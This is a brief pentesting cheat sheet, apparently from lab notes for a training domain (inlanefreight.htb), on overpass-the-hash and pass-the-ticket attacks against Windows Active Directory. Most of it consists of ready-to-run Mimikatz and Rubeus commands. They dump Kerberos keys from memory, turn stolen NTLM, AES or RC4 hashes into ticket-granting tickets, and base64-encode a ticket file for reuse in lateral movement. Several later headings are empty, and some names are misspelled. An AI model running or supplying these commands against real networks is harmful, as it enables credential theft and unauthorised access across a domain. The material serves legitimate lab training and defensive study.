githubEdit

overpass-the-hash

Pass the key or Overpass the hash

It converts the hash/key into a full Ticket-Granting-Ticket (TGT) and open a new window to access any resource.

Extracting Kerberos keys (hashes)

mimikatz.exe "sekurlsa::ekeys" exit

Pass the key or overpass the hash (user hash to get ticket)

  • Mimikatz tool (admin rights: True)

mimikatz.exe "sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:<hash>" exit
  • Rubeus (admin right: false)

Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:<hash> /nowrap

Get the ticket in base64 format (Rubeus)

Rubeus.exe asktgt /domain:inlanfeight.htb /user:palaintext /rc4:<hash> /ptt

Convert the ticket to Base64 format

[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))

Pass the ticket

Rubeus

Mimikatz

Pass the ticket (connect remotely)

Create a sacrificial process

  • In the new windows (pass-the-ticket lateral movement)

Last updated